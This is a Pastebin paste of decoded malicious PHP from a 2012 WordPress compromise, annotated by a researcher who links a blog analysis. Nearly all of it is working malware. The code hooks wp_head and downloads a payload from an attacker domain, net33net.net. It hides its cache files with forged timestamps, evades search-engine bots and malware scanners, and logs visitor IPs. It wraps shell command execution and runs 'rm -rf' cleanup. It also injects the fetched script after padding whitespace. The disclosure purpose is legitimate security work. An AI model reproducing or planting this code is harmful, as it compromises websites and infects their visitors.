Guest User

Untitled

a guest
Jul 11th, 2012
693
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
PHP 13.31 KB | None | 0 0
  1. //======================================================================================
  2. // Decoded version of the malicious PHP code injected into random WordPress files in the
  3. // wp-includes directory.
  4. //
  5. // Detailed description of the attack can be found here:
  6. // http://blog.UnmaskParasites.com/2012/07/11/whats-in-your-wp-head/
  7. //======================================================================================
  8.  
  9.  if (!function_exists('check_wp_head_load')){
  10.    function check_wp_head_load(){
  11.      if (!function_exists('downloadURL')){
  12.        function downloadURL($url){
  13.          $user_agent1 = "Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0)";
  14.          if (function_exists('curl_init')){
  15.            $curlHandler = curl_init();
  16.            curl_setopt($curlHandler, CURLOPT_URL, $url);
  17.            curl_setopt($curlHandler, CURLOPT_HEADER, 0);
  18.            curl_setopt($curlHandler, CURLOPT_TIMEOUT, 30);
  19.            curl_setopt($curlHandler, CURLOPT_RETURNTRANSFER, 1);
  20.            curl_setopt($curlHandler, CURLOPT_USERAGENT, $user_agent1);
  21.            if (!(@ini_get("safe_mode") || @ini_get("open_basedir"))){
  22.              @curl_setopt($curlHandler, CURLOPT_FOLLOWLOCATION, 1);
  23.            }
  24.            @curl_setopt($curlHandler, CURLOPT_MAXREDIRS, 2);
  25.            $curlResult = curl_exec($curlHandler);
  26.            curl_close($curlHandler);
  27.            if ($curlResult !== false){
  28.              return $curlResult;
  29.            }
  30.          }
  31.          else if(function_exists('fsockopen')){
  32.            global $yO_4;
  33.            $url = str_replace("http://", "", $url);
  34.            if (preg_match("#/#", "$url")){
  35.              $yO_5 = $url;
  36.              $url = @explode("/", $url);
  37.              $url = $url[0];
  38.              $yO_5 = str_replace($url, "", $yO_5);
  39.              if (!$yO_5 || $yO_5 == ""){
  40.                $yO_5 = "/";
  41.              }
  42.              $yO_6 = gethostbyname($url);
  43.            }
  44.            else {
  45.              $yO_6 = gethostbyname($url);
  46.              $yO_5 = "/";
  47.            }
  48.            $yO_7 = fsockopen($yO_6, 80, $yO_8, $yO_9, 10);
  49.            stream_set_timeout($yO_7, 10);
  50.            if ($yO_7){
  51.              $yO_10 =  "GET $yO_5 HTTP/1.0\r\n";
  52.              $yO_10 .= "Host: $url\r\n";
  53.              $yO_10 .= "Referer: http://$url$yO_5\r\n";
  54.              $yO_10 .= "Accept-Language: en-us, en;q=0.50\r\n";
  55.              $yO_10 .= "User-Agent: $UA\r\n";
  56.              $yO_10 .= "Connection: Close\r\n\r\n";
  57.              fputs($yO_7, $yO_10);
  58.              while (!feof($yO_7)){
  59.                $yO_11 .= fgets($yO_7, 4096);
  60.              }
  61.              fclose($yO_7);
  62.              $yO_11 = @explode("\r\n\r\n", $yO_11, 2);
  63.              $yO_12 = $yO_11[0];
  64.              if ($yO_4){
  65.                $yO_12 = "$yO_4<br /><br />\n$yO_12";
  66.              }
  67.              $yO_12 = str_replace("\n", "<br />", $yO_12);
  68.              if ($yO_11[1]){
  69.                $yO_13=$yO_11[1];
  70.              }
  71.              else{
  72.                $yO_13 = "";
  73.              }
  74.              if ($yO_13){
  75.                $yO_11 = $yO_13;
  76.              }
  77.              else {
  78.                $yO_11 = $yO_12;
  79.              }
  80.              if (preg_match("/Location\:/", "$yO_12")){
  81.                $url = @explode("Location: ", $yO_12);
  82.                $url = $url[1];
  83.                $url = @explode("\r", $url);
  84.                $url = $url[0];
  85.                $yO_4 = str_replace("\r\n\r\n", "",$yO_12);
  86.                $yO_14 = "&#76&#111&#99&#97&#116&#105&#111&#110&#58";//location:
  87.                $yO_4 = str_replace("Location:",$yO_14,$yO_4);
  88.                return downloadURL($url);
  89.              }
  90.              else{
  91.                return $yO_11;
  92.              }
  93.            }
  94.          }
  95.          else {
  96.            echo "ERROR";
  97.            exit;
  98.          }
  99.        }
  100.      }
  101.      
  102.      if (!function_exists('detectBots')){
  103.        function detectBots($ua, $remoteIP){ // I deliberately left the arrays of IP rages and UAs incompletely detecoded
  104.          $bot_IPs = array("66\.249\.[6-9][0-9]\.[0-9]+",y0(26),y0(27),y0(28),y0(29),y0(30),y0(31),y0(32),
  105.                         y0(33),y0(34),y0(35),y0(36),y0(37),y0(38),y0(39),y0(40),
  106.                         y0(41),y0(42),y0(43),y0(44),y0(45),y0(46),y0(47),y0(48),
  107.                         y0(49),y0(50),y0(51),y0(52),y0(53),y0(54),y0(55),y0(56),
  108.                         y0(57),y0(58),y0(59),y0(60),y0(61),y0(62),y0(63),y0(64),
  109.                         y0(65),y0(66),y0(67),y0(68),y0(69),y0(70),y0(71),y0(72),
  110.                         y0(73),y0(74),y0(75),y0(76),y0(77),y0(78),y0(79),y0(80),
  111.                         y0(81),y0(82),y0(83),y0(84),y0(85),y0(86),y0(87),y0(88),
  112.                         y0(89),y0(90),y0(91),y0(92),y0(93),y0(94),y0(95),y0(96),
  113.                         y0(97),y0(98),y0(99),y0(100),y0(101),y0(102),y0(103),y0(104),
  114.                         y0(105),"118\.169\.40\.20");
  115.          $bot_UAs = array("http", "google",y0(109),y0(110),
  116.                         y0(111),y0(112),y0(113),y0(114),y0(115),y0(116),y0(117),y0(118),
  117.                         y0(119),y0(120),y0(121),y0(122),y0(123),y0(124),y0(125),y0(126),
  118.                         y0(127),y0(128), "yandex", "trend", "virus", "malware", "wget");
  119.          $ua = preg_replace("|User\.Agent\:[\s ]?|i", "", $ua);
  120.          $notBot = true;
  121.          foreach ($bot_IPs as $yO_20)
  122.            if (eregi("$yO_20", $remoteIP)){
  123.              $notBot = false;
  124.              break;
  125.            }
  126.          if ($notBot)
  127.            foreach ($bot_UAs as $yO_21)
  128.              if (eregi($yO_21, $ua)!== false){
  129.                $notBot = false;
  130.                break;
  131.              }
  132.          if ($notBot and !eregi("^[a-zA-Z]{5,}", $ua)){
  133.            $notBot = false;
  134.          }
  135.          if ($notBot and strlen($ua) <= 11){
  136.            $notBot = false;
  137.          }
  138.          return $notBot;
  139.        }
  140.      }
  141.    
  142.      if (!function_exists('rm_rf_file')){ // clear directory
  143.        function rm_rf_file($dirname){
  144.          $modTime = filemtime($dirname);
  145.          if ($yO_24 = opendir($dirname)){
  146.            while (false !==($afile = readdir($yO_24))){
  147.              if ($afile != "." && $afile != ".." && is_file($afile)){
  148.                chmod($afile, 438); //0666
  149.                unlink($afile);
  150.              }
  151.            }
  152.            closedir($yO_24);
  153.          }
  154.          touch($dirname, $modTime, $modTime);
  155.        }
  156.      }
  157.    
  158.      if (!function_exists('tier')){ //"http://net33net.net/net/?u=" . base64_encode("http://" .$host .$request_uri);
  159.        function tier($yO_26, $yO_27, $yO_28){
  160.          //$yO_26 = array("ZW5k", "edo", "ced", "/", "_", "esab", "strr", "ten", "ev", "dGVu", "ptth", ":", ".");
  161.          //$yO_27 = "base64_decode"
  162.          //$yO_28 = "strrev"
  163.          $yO_29 = mt_rand(0, 4);
  164.          $yO_30 = $yO_28( $yO_26[7] );//net
  165.          $yO_31 = "end";
  166.          $request_uri = @$_SERVER["REQUEST_URI"];
  167.          $yO_33 = "base64_encode";
  168.          $host = @$_SERVER["HTTP_HOST"];
  169.          return "http://net33net.net/net/?u=" . base64_encode("http://" .$host .$request_uri);
  170.          //net00net.net, net11net.net, net22net.net, net33net.net, net44net.net //178.162.129.170  Hessen - Frankfurt - Leaseweb Germany Gmbh Creation Date: 20-May-2012 Expiration Date: 20-May-2013
  171.        }
  172.      }
  173.    
  174.      if (!function_exists('sys_get_temp_dir')){
  175.        function sys_get_temp_dir(){
  176.          if ($yO_35 = getenv( "TMP" ) )
  177.            return $yO_35;
  178.          if ( $yO_35 = getenv("TEMP") )
  179.            return $yO_35;
  180.          if ($yO_35 = getenv("TMPDIR"))
  181.            return $yO_35;
  182.          $yO_35 = tempnam(__FILE__, "");
  183.          if (file_exists($yO_35)){
  184.            unlink($yO_35);
  185.            return dirname($yO_35);
  186.          }
  187.          return false;
  188.        }
  189.      }
  190.    
  191.    if (!function_exists('execCommand')){  
  192.      function execCommand($command){
  193.        $execResult = "";
  194.        if (!empty($command)){
  195.          if (function_exists('exec')){
  196.            @exec($command, $execResult);
  197.            $execResult = join("\n", $execResult);
  198.          }
  199.          elseif (function_exists('shell_exec')){
  200.            $execResult=@shell_exec($command);
  201.          }
  202.          elseif (function_exists('system')) {
  203.            @ob_start();
  204.            @system($command);
  205.            $execResult = @ob_get_contents();
  206.            @ob_end_clean();
  207.          }
  208.          elseif (function_exists('passthru')){
  209.            @ob_start();
  210.            @passthru($command);
  211.            $execResult = @ob_get_contents();
  212.            @ob_end_clean();
  213.          }
  214.          elseif ( @is_resource($yO_38=@popen($command, "r")) ){
  215.            $execResult = "";
  216.            while(!@feof($yO_38)){
  217.              $execResult .=@fread($yO_38, 1024);
  218.            }
  219.            @pclose($yO_38);
  220.          }
  221.          elseif (@function_exists('proc_open') && @is_resource($yO_38=@proc_open($command,array(1) => array("pipe", "w")),$yO_39))){
  222.            $execResult = "";
  223.            if (@function_exists('fread') && @function_exists('feof')){
  224.              while (!@feof($yO_39[1])){
  225.                $execResult .= @fread($yO_39[1], 1024);
  226.              }
  227.            }
  228.            else if (@function_exists('fgets') && @function_exists('feof')){
  229.              while (!@feof($yO_39[1])){
  230.                $execResult .=@fgets($yO_39[1], 1024);
  231.              }
  232.            }
  233.            @proc_close($yO_38);
  234.          }
  235.        }
  236.        return htmlspecialchars($execResult);
  237.      }
  238.    }
  239.    
  240.    $lonly = "lonly";
  241.    $remoteAddress = $_SERVER["REMOTE_ADDR"];
  242.    $UA            = $_SERVER["HTTP_USER_AGENT"];
  243.    $scriptFile    = $_SERVER["SCRIPT_FILENAME"];
  244.    $yO_43 = strtolower($UA);
  245.    if ($remoteAddress == "" || $UA == "" || $scriptFile == "") // unnatural requests
  246.      return null;
  247.    $yO_26 = array("ZW5k", "edo", "ced", "/", "_", "esab", "strr", "ten", "ev", "dGVu", "ptth", ":", ".");
  248.    
  249.    if (!isset($_COOKIE[$lonly])){
  250.      $tmpDir = @sys_get_temp_dir();
  251.      if (!$tmpDir){
  252.        $tmpDir = dirname($scriptFile);
  253.        $newTmpDir = $tmpDir ."/.tmp";
  254.      }
  255.      else {
  256.        $newTmpDir=$tmpDir ."/.tmp";
  257.        if (!@file_exists($newTmpDir)){
  258.          $modTime = @filemtime($tmpDir);
  259.          @mkdir($newTmpDir);
  260.          $yO_46 = @fopen("$newTmpDir/r", "w"); //test creating a file
  261.          @fwrite($yO_46, "");
  262.          @fclose($yO_46);
  263.          @chmod($newTmpDir, 511); //0777
  264.          @touch("$newTmpDir/r", $modTime, $modTime);
  265.          @touch($tmpDir, $modTime, $modTime);
  266.          @touch($newTmpDir, $modTime, $modTime);
  267.          if (!@file_exists("$newTmpDir/r")){
  268.            $tmpDir = dirname($scriptFile);
  269.            $newTmpDir = $tmpDir ."/.cache";
  270.          }
  271.        }
  272.      }
  273.      $yO_28 = "strrev";
  274.      if (!@file_exists($newTmpDir)) { //create $newTmpDir if it doesn't exist
  275.        $modTime = @filemtime($tmpDir);
  276.        @mkdir($newTmpDir);
  277.        @chmod($newTmpDir, 511); //0777
  278.        @touch($tmpDir, $modTime, $modTime);
  279.        @touch($newTmpDir, $modTime, $modTime);
  280.      }
  281.      
  282.      $timeStr = @date("Hi"); // hours minutes
  283.      $yO_48 = @date("ymd"); // yymmdd
  284.      $dateTmpFile   = "$newTmpDir/$yO_48";
  285.      $date_Tmp_File = "$newTmpDir/tmp_$yO_48";
  286.      $dayAgo = $yO_48-1;
  287.      $yO_27 = "base64_decode";
  288.      
  289.      // remove yesterday's files in $newTmpDir every day and all files 3 times a day
  290.      if (@file_exists("$newTmpDir/tmp_$dayAgo") || ($timeStr >= "0000" && $timeStr <= "0001") || ($timeStr >= "1200" && $timeStr <= "1201") || ($timeStr >= "1800" && $timeStr <= "1801")){
  291.        @rm_rf_file($newTmpDir);
  292.        @execCommand("rm -rf $newTmpDir/*");
  293.      }
  294.      if (!@file_exists($dateTmpFile)) { //create $dateTmpFile if it doesn;t exist
  295.        $modTime = @filemtime($newTmpDir);
  296.        $yO_46   = @fopen($dateTmpFile, "w");
  297.        @fclose($yO_46);
  298.        @chmod($dateTmpFile, 511); //777
  299.        @touch($newTmpDir, $modTime, $modTime);
  300.      }
  301.      if (@is_writable($newTmpDir) && (!@file_exists($date_Tmp_File) || @filesize($date_Tmp_File) < 5)){
  302.        $payload = @downloadURL( tier($yO_26, $yO_27, $yO_28) ); //"http://net33net.net/net/?u=" . base64_encode("http://" .$host .$request_uri);
  303.        if ($payload != "ERROR" && base64_decode($payload)!== false){ // write downloaded payload to tmp_yymmdd
  304.          $modTime = @filemtime($newTmpDir);
  305.          $yO_46 = @fopen($date_Tmp_File, "w");
  306.          @fwrite($yO_46, "$payload");
  307.          @fclose($yO_46);
  308.          @chmod($date_Tmp_File, 511); //777
  309.          @touch($newTmpDir, $modTime, $modTime);
  310.          @touch($date_Tmp_File, $modTime, $modTime);
  311.        }
  312.        else return null;
  313.      }
  314.      $decodedPayload = @base64_decode( @file_get_contents($date_Tmp_File) );
  315.      $yO_54 = @file($dateTmpFile);
  316.      $returningVisitor = false;
  317.      foreach ($yO_54 as $yO_56){ //detect returning visitors
  318.        if (@trim($yO_56) == $remoteAddress){
  319.          $returningVisitor = true;
  320.          break;
  321.        }
  322.      }
  323.      $notBot = @detectBots($UA, $remoteAddress);
  324.      if ($returningVisitor == false && $notBot == true){
  325.        $yO_46 = @fopen($dateTmpFile, "a");
  326.        @fwrite($yO_46, "$remoteAddress\n"); // record visitor's IP
  327.        @fclose($yO_46);
  328.        //inject a malicious script after a few hundred whitespaces.
  329.        echo "\n" .str_repeat(" ", mt_rand(300,1000)) ."<script type='text/javascript'>$decodedPayload</script>\n";
  330.      }
  331.    }
  332.  }
  333. }
  334.  
  335. $lonly = "lonly";
  336. if (!isset($_COOKIE[$lonly]))
  337.   @add_action("wp_head", "check_wp_head_load", mt_rand(1, 6));
Add Comment
Please, Sign In to add comment